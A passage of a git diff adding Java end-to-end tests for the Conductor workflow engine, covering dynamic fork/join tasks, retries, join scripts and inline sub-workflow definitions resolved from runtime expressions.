assertTrue(workflow1.getTasks().size() == 6); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.FAILED.name()); + assertEquals( + workflow1.getTasks().get(4).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + assertEquals( + workflow1.getTasks().get(5).getStatus().name(), + Task.Status.SCHEDULED.name()); + } catch (Exception e) { + + } + }); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(2).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(5).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Workflow should be completed + await().atMost(100, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertTrue(workflow1.getTasks().size() == 6); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.FAILED.name()); + assertEquals( + workflow1.getTasks().get(4).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(4).getStatus().name(), + Task.Status.COMPLETED.name()); + }); + + metadataAdminClient.unregisterWorkflowDef(workflowName1, 1); + } + + @Test + public void testTaskDynamicForkEmptyTaskName() { + + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataAdminClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + String workflowName1 = "DynamicFanInOutTest"; + + // Register workflow + registerWorkflowDef(workflowName1, metadataAdminClient); + // Register a minimal sub-workflow to use by name (conductor-oss has no built-in "http" + // workflow) + String subWorkflowName = "http_sub_wf_test"; + SubWorkflowVersionTests.registerSubWorkflow( + subWorkflowName, "http_sub_task", metadataAdminClient); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + + Workflow workflow = workflowAdminClient.getWorkflow(workflowId, true); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(0).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setTaskReferenceName("test_task"); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(subWorkflowName); + workflowTask2.setType(TaskType.SUB_WORKFLOW.name()); + workflowTask2.setSubWorkflowParam(subWorkflowParams); + + Map output = new HashMap<>(); + output.put("dynamicTasks", Arrays.asList(workflowTask2)); + output.put("dynamicTasksInput", Map.of()); + taskResult.setOutputData(output); + taskClient.updateTask(taskResult); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertTrue(workflow1.getTasks().size() == 4); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(1).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + assertNotNull(workflow1.getTasks().get(2).getSubWorkflowId()); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + }); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + workflowAdminClient.terminateWorkflows( + List.of(workflowId, workflow.getTasks().get(2).getSubWorkflowId()), "terminated"); + } + + @Test + public void testTaskDynamicForkNullTaskReferenceName() { + + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataAdminClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + String workflowName1 = "DynamicFanInOutTest"; + + // Register workflow + registerWorkflowDef(workflowName1, metadataAdminClient); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + + Workflow workflow = workflowAdminClient.getWorkflow(workflowId, true); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(0).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setTaskReferenceName(null); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("http"); + workflowTask2.setType(TaskType.SUB_WORKFLOW.name()); + workflowTask2.setSubWorkflowParam(subWorkflowParams); + + Map output = new HashMap<>(); + output.put("dynamicTasks", Arrays.asList(workflowTask2)); + output.put("dynamicTasksInput", Map.of()); + taskResult.setOutputData(output); + taskClient.updateTask(taskResult); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.FAILED.name()); + assertTrue(workflow1.getTasks().size() == 1); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.COMPLETED.name()); + assertNotNull(workflow1.getReasonForIncompletion()); + assertTrue( + workflow1 + .getReasonForIncompletion() + .contains("Input 'dynamicTasks' is invalid")); + }); + } + + @Test + public void testTaskDynamicForkRetryCount() { + + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataAdminClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + String workflowName1 = "DynamicFanInOutTest1"; + + // Register workflow + registerWorkflowDef(workflowName1, metadataAdminClient); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + Workflow workflow = workflowAdminClient.getWorkflow(workflowId, true); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(0).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setName("integration_task_2"); + workflowTask2.setTaskReferenceName("xdt1"); + workflowTask2.setOptional(true); + workflowTask2.setSink("kitchen_sink"); + + WorkflowTask workflowTask3 = new WorkflowTask(); + workflowTask3.setName("integration_task_3"); + workflowTask3.setTaskReferenceName("xdt2"); + workflowTask3.setRetryCount(2); + + Map output = new HashMap<>(); + Map> input = new HashMap<>(); + input.put("xdt1", Map.of("k1", "v1")); + input.put("xdt2", Map.of("k2", "v2")); + output.put("dynamicTasks", Arrays.asList(workflowTask2, workflowTask3)); + output.put("dynamicTasksInput", input); + taskResult.setOutputData(output); + taskClient.updateTask(taskResult); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertTrue(workflow1.getTasks().size() == 5); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertEquals( + workflow1.getTasks().get(2).getWorkflowTask().getSink(), + "kitchen_sink"); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertEquals( + workflow1.getTasks().get(4).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + }); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(3).getTaskId()); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Since the retry count is 2 task will be retried. + await().atMost(20, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertTrue(workflow1.getTasks().size() == 6); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.FAILED.name()); + assertEquals( + workflow1.getTasks().get(4).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + assertEquals( + workflow1.getTasks().get(5).getStatus().name(), + Task.Status.SCHEDULED.name()); + }); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(2).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(5).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Workflow should be completed + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + assertTrue(workflow1.getTasks().size() >= 6); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.FAILED.name()); + assertEquals( + workflow1.getTasks().get(4).getStatus().name(), + Task.Status.COMPLETED.name()); + assertEquals( + workflow1.getTasks().get(5).getStatus().name(), + Task.Status.COMPLETED.name()); + }); + + metadataAdminClient.unregisterWorkflowDef(workflowName1, 1); + } + + @Test + public void testTaskDynamicForkDuplicateReferenceNameOfForkedTasksWhenMultipleFor() { + + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + String workflowName1 = "TwoIdenticalDynamicForks"; + TaskDef taskDef = new TaskDef("forked_task"); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName1); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setDescription( + "Workflow to test two identical forks for duplicate forked task reference names"); + + WorkflowTask dynamicFork1 = new WorkflowTask(); + dynamicFork1.setInputParameters( + Map.of( + "forkTaskName", + taskDef.getName(), + "forkTaskInputs", + List.of(Map.of("a", 1), Map.of("a", 2)))); + dynamicFork1.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicFork1.setName("dynamicFork1"); + dynamicFork1.setTaskReferenceName("dynamicFork1"); + WorkflowTask join1 = new WorkflowTask(); + join1.setType(TaskType.JOIN.name()); + join1.setName("join1"); + join1.setTaskReferenceName("join1"); + + WorkflowTask dynamicFork2 = new WorkflowTask(); + dynamicFork2.setInputParameters( + Map.of( + "forkTaskName", + taskDef.getName(), + "forkTaskInputs", + List.of(Map.of("a", 1), Map.of("a", 2)))); + dynamicFork2.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicFork2.setName("dynamicFork2"); + dynamicFork2.setTaskReferenceName("dynamicFork2"); + WorkflowTask join2 = new WorkflowTask(); + join2.setType(TaskType.JOIN.name()); + join2.setName("join2"); + join2.setTaskReferenceName("join2"); + + workflowDef.setTasks(Arrays.asList(dynamicFork1, join1, dynamicFork2, join2)); + startWorkflowRequest.setWorkflowDef(workflowDef); + String workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + + // Two sequential dynamic forks: fork1 -> join1 -> fork2 -> join2. Each poll completes + // whatever is currently SCHEDULED; the async fork/join progression can exceed 10s under + // CI load, so allow a generous ceiling (returns as soon as COMPLETED holds). + await().atMost(60, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowAdminClient.getWorkflow(workflowId, true); + var tasksToUpdate = + workflow.getTasks().stream() + .filter( + t -> + t.getTaskType() + .equals( + taskDef + .getName()) + && t.getStatus() + .equals( + Task.Status + .SCHEDULED)) + .collect(Collectors.toList()); + tasksToUpdate.forEach( + t -> { + TaskResult result = new TaskResult(t); + result.setOutputData(Map.of("b", true)); + result.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(result); + }); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + workflow.getStatus().name()); + }); + } + + @Test + @SneakyThrows + @DisplayName("When retrying a forked task ${CPEWF_TASK_ID} gives the correct task id") + public void testCorrectTaskIdOnRetries() { + startFailureWorkers(); + var mapper = new ObjectMapperProvider().getObjectMapper(); + var workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + var metadataAdminClient = ApiUtil.METADATA_CLIENT; + + var wfDef = + mapper.readValue( + TestUtil.getResourceAsString("metadata/cpewf_task_id_dyn_fork_wf.json"), + WorkflowDef.class); + metadataAdminClient.updateWorkflowDefs(java.util.List.of(wfDef)); + + var taskDef = + mapper.readValue( + TestUtil.getResourceAsString( + "metadata/cpewf_task_id_dyn_fork_task_def.json"), + TaskDef.class); + metadataAdminClient.registerTaskDefs(List.of(taskDef)); + + var startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(wfDef.getName()); + startWorkflowRequest.setVersion(wfDef.getVersion()); + + var workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + + await().atMost(1, TimeUnit.MINUTES) + .pollInterval(2, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, wf.getStatus()); + // All 3 attempts (original + 2 retries) must be present. The final + // retry's task record can lag the workflow FAILED status under load, + // so assert the count inside the await rather than in a follow-up read. + var attempts = + wf.getTasks().stream() + .filter( + it -> + "fail_on_purpose" + .equals(it.getTaskDefName())) + .toList(); + assertEquals(3, attempts.size()); + }); + + var workflow = workflowAdminClient.getWorkflow(workflowId, true); + var tasks = + workflow.getTasks().stream() + .filter(it -> "fail_on_purpose".equals(it.getTaskDefName())) + .toList(); + + for (Task t : tasks) { + assertEquals(t.getTaskId(), t.getInputData().get("task_id")); + } + } + + @Test + @SneakyThrows + @DisplayName("When using a join script by default it joins on all forked tasks") + public void joinOnScript() { + var mapper = new ObjectMapperProvider().getObjectMapper(); + + var workflowClient = ApiUtil.WORKFLOW_CLIENT; + var metadataClient = ApiUtil.METADATA_CLIENT; + var orkesTaskClient = ApiUtil.TASK_CLIENT; + + var wfDef = + mapper.readValue( + TestUtil.getResourceAsString("metadata/dyn_fork_test.json"), + WorkflowDef.class); + metadataClient.updateWorkflowDefs(java.util.List.of(wfDef)); + + var startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(wfDef.getName()); + startWorkflowRequest.setVersion(wfDef.getVersion()); + + var workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + await().await() + .atMost(10, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + assertEquals(6, wf.getTasks().size()); + + var joinTask = wf.getTasks().get(5); + assertEquals(Task.Status.IN_PROGRESS, joinTask.getStatus()); + assertEquals(TASK_TYPE_JOIN, joinTask.getTaskType()); + assertEquals("join_1", joinTask.getReferenceTaskName()); + }); + // complete first and second forked task + { + var wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + // forked tasks + var t0 = wf.getTasks().get(2); + var t1 = wf.getTasks().get(3); + // SCHEDULED because it was not polled + assertEquals("simple_1", t0.getReferenceTaskName()); + assertEquals(Task.Status.SCHEDULED, t0.getStatus()); + + assertEquals("simple_2", t1.getReferenceTaskName()); + assertEquals(Task.Status.SCHEDULED, t1.getStatus()); + + var result0 = new TaskResult(t0); + result0.setStatus(TaskResult.Status.COMPLETED); + orkesTaskClient.updateTask(result0); + + var result1 = new TaskResult(t1); + result1.setStatus(TaskResult.Status.COMPLETED); + orkesTaskClient.updateTask(result1); + } + + // join task should remain in progress + for (int i = 0; i < 5; i++) { + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + var wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, wf.getStatus()); + + var joinTask = wf.getTasks().get(5); + assertEquals(Task.Status.IN_PROGRESS, joinTask.getStatus()); + assertEquals(TASK_TYPE_JOIN, joinTask.getTaskType()); + assertEquals("join_1", joinTask.getReferenceTaskName()); + } + + // complete third forked task + { + var wf = workflowClient.getWorkflow(workflowId, true); + var t2 = wf.getTasks().get(4); + + assertEquals("simple_3", t2.getReferenceTaskName()); + assertEquals(Task.Status.SCHEDULED, t2.getStatus()); + + var result2 = new TaskResult(t2); + result2.setStatus(TaskResult.Status.COMPLETED); + orkesTaskClient.updateTask(result2); + } + + // join task and workflow should be completed + await().await() + .atMost(10, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + var wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + + var joinTask = wf.getTasks().get(5); + assertEquals(Task.Status.COMPLETED, joinTask.getStatus()); + assertEquals(TASK_TYPE_JOIN, joinTask.getTaskType()); + assertEquals("join_1", joinTask.getReferenceTaskName()); + }); + } + + private void registerWorkflowDef(String workflowName, MetadataClient metadataClient1) { + TaskDef taskDef = new TaskDef("dt1"); + taskDef.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef4 = new TaskDef("integration_task_2"); + taskDef4.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef3 = new TaskDef("integration_task_3"); + taskDef3.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef2 = new TaskDef("dt2"); + taskDef2.setOwnerEmail("test@conductor.io"); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("dt2"); + workflowTask.setName("dt2"); + workflowTask.setTaskDefinition(taskDef2); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName("dt1"); + inline.setName("dt1"); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask join = new WorkflowTask(); + join.setTaskReferenceName("join_dynamic"); + join.setName("join_dynamic"); + join.setWorkflowTaskType(TaskType.JOIN); + + WorkflowTask dynamicFork = new WorkflowTask(); + dynamicFork.setTaskReferenceName("dynamicFork"); + dynamicFork.setName("dynamicFork"); + dynamicFork.setTaskDefinition(taskDef); + dynamicFork.setWorkflowTaskType(TaskType.FORK_JOIN_DYNAMIC); + dynamicFork.setInputParameters( + Map.of( + "dynamicTasks", + "${dt1.output.dynamicTasks}", + "dynamicTasksInput", + "${dt1.output.dynamicTasksInput}")); + dynamicFork.setDynamicForkTasksParam("dynamicTasks"); + dynamicFork.setDynamicForkTasksInputParamName("dynamicTasksInput"); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to test retry"); + workflowDef.setTasks(Arrays.asList(inline, dynamicFork, join)); + try { + metadataClient1.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient1.registerTaskDefs(Arrays.asList(taskDef, taskDef2, taskDef3, taskDef4)); + } catch (Exception e) { + } + } + + private static void startFailureWorkers() { + var taskClient = ApiUtil.TASK_CLIENT; + var configurer = + new TaskRunnerConfigurer.Builder(taskClient, List.of(new FailOnPurposeWorker())) + .withThreadCount(1) + .withTaskPollTimeout(500) + .build(); + configurer.init(); + } + + private static class FailOnPurposeWorker implements Worker { + @Override + public String getTaskDefName() { + return "fail_on_purpose"; + } + + @Override + public TaskResult execute(Task task) { + var result = new TaskResult(task); + result.setStatus(TaskResult.Status.FAILED); + result.getOutputData().put("message", "Failing task on purpose"); + return result; + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowInlineTests.java b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowInlineTests.java new file mode 100644 index 0000000..472f69e --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowInlineTests.java @@ -0,0 +1,1441 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class SubWorkflowInlineTests { + + @Test + public void testSubWorkflow0version() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String parentWorkflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + // Register workflow + registerInlineWorkflowDef(parentWorkflowName, metadataClient); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(parentWorkflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + try { + Thread.sleep(5000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + // User1 should be able to complete task/workflow + String taskId = workflowClient.getWorkflow(workflowId, true).getTasks().get(0).getTaskId(); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskResult.setTaskId(taskId); + taskClient.updateTask(taskResult); + + // Workflow will be still running state (SUB_WORKFLOW task SCHEDULED->IN_PROGRESS is async) + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertEquals( + workflow1.getTasks().get(0).getStatus(), Task.Status.COMPLETED); + assertEquals( + workflow1.getTasks().get(1).getStatus(), + Task.Status.IN_PROGRESS); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + String subWorkflowId = workflow.getTasks().get(1).getSubWorkflowId(); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subWorkflowId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskResult.setTaskId(workflow.getTasks().get(1).getTaskId()); + taskClient.updateTask(taskResult); + + // Wait for workflow to get completed + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getTasks().get(0).getStatus(), Task.Status.COMPLETED); + assertEquals( + workflow1.getTasks().get(1).getStatus(), Task.Status.COMPLETED); + }); + + // Cleanup + metadataClient.unregisterWorkflowDef(parentWorkflowName, 1); + } + + /** + * Tests that SubWorkflowParams.workflowDefinition resolved from a runtime String expression + * executes a complex inline sub-workflow with DO_WHILE, SWITCH, INLINE, and SIMPLE tasks. + * + *

    Setup: The parent workflow has two tasks: + * + *

      + *
    1. wf_builder (SIMPLE) — the test completes this task with a full WorkflowDef Map as + * output["result"]. This simulates a planner agent that generates an execution plan. + *
    2. exec (SUB_WORKFLOW) — subWorkflowParam.workflowDefinition = + * "${wf_builder.output.result}" (a String expression). SubWorkflowTaskMapper resolves the + * expression at runtime, so SubWorkflow.start() receives the concrete Map and converts it + * to a WorkflowDef without any prior HTTP registration. + *
    + * + *

    Inline sub-workflow structure (iterations=2, threshold=5): + * + *

      + *
    • DO_WHILE (do_loop): runs 2 iterations driven by workflow.input.iterations + *
        + *
      • INLINE compute: product = iteration × threshold (JavaScript) + *
      • SWITCH route (JavaScript): product > threshold? + *
          + *
        • true → SIMPLE high_task (manually completed by the test — iteration 2 only: + * product=10 > threshold=5) + *
        • default → INLINE low_result (auto-executes — iteration 1: product=5 = + * threshold=5) + *
        + *
      + *
    • INLINE final_result: produces {loopsDone: 2, allDone: true} + *
    + */ + @Test + public void testSubWorkflowDefinitionFromStringExpression() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + // Use random suffixes to avoid naming conflicts across test runs + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "inline_expr_parent_" + suffix; + String wfBuilderTaskName = "wf_builder_task_" + suffix; + String highPathTaskName = "high_path_task_" + suffix; + + // Register task definitions for the two SIMPLE tasks used in the test + TaskDef wfBuilderDef = new TaskDef(wfBuilderTaskName); + wfBuilderDef.setOwnerEmail("test@conductor.io"); + TaskDef highPathDef = new TaskDef(highPathTaskName); + highPathDef.setOwnerEmail("test@conductor.io"); + metadataClient.registerTaskDefs(List.of(wfBuilderDef, highPathDef)); + + // Build the complex sub-workflow definition as a plain Map. + // This is the value the wf_builder SIMPLE task will return as output["result"]. + // SubWorkflow.start() receives it via inputData["subWorkflowDefinition"] and converts it + // to a WorkflowDef via ObjectMapper.convertValue() — no prior registration needed. + Map subWfDef = buildComplexSubWfDefMap(highPathTaskName); + + // Register the parent workflow. The SUB_WORKFLOW task's workflowDefinition is a + // String expression "${wf_builder.output.result}" rather than a hardcoded object. + WorkflowDef parentDef = buildParentWorkflowDef(parentWfName, wfBuilderTaskName); + metadataClient.updateWorkflowDefs(List.of(parentDef)); + + // Start the workflow + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(parentWfName); + request.setVersion(1); + request.setInput(Map.of("iterations", 2, "threshold", 5)); + String workflowId = workflowClient.startWorkflow(request); + + try { + // Step 1: wf_builder SIMPLE task is SCHEDULED — wait then complete it with the + // sub-workflow definition Map as the "result" output key. + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(1, wf.getTasks().size()); + assertEquals( + Task.Status.SCHEDULED, wf.getTasks().get(0).getStatus()); + }); + + String builderTaskId = + workflowClient.getWorkflow(workflowId, true).getTasks().get(0).getTaskId(); + TaskResult builderResult = new TaskResult(); + builderResult.setWorkflowInstanceId(workflowId); + builderResult.setTaskId(builderTaskId); + builderResult.setStatus(TaskResult.Status.COMPLETED); + // The sub-workflow definition Map is passed as output["result"]. + // The expression "${wf_builder.output.result}" resolves to this Map at runtime. + builderResult.setOutputData(Map.of("result", subWfDef)); + taskClient.updateTask(builderResult); + + // Step 2: The SUB_WORKFLOW task must become IN_PROGRESS, meaning the expression was + // resolved to the Map and SubWorkflow.start() launched the sub-workflow. + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(2, wf.getTasks().size()); + assertEquals( + 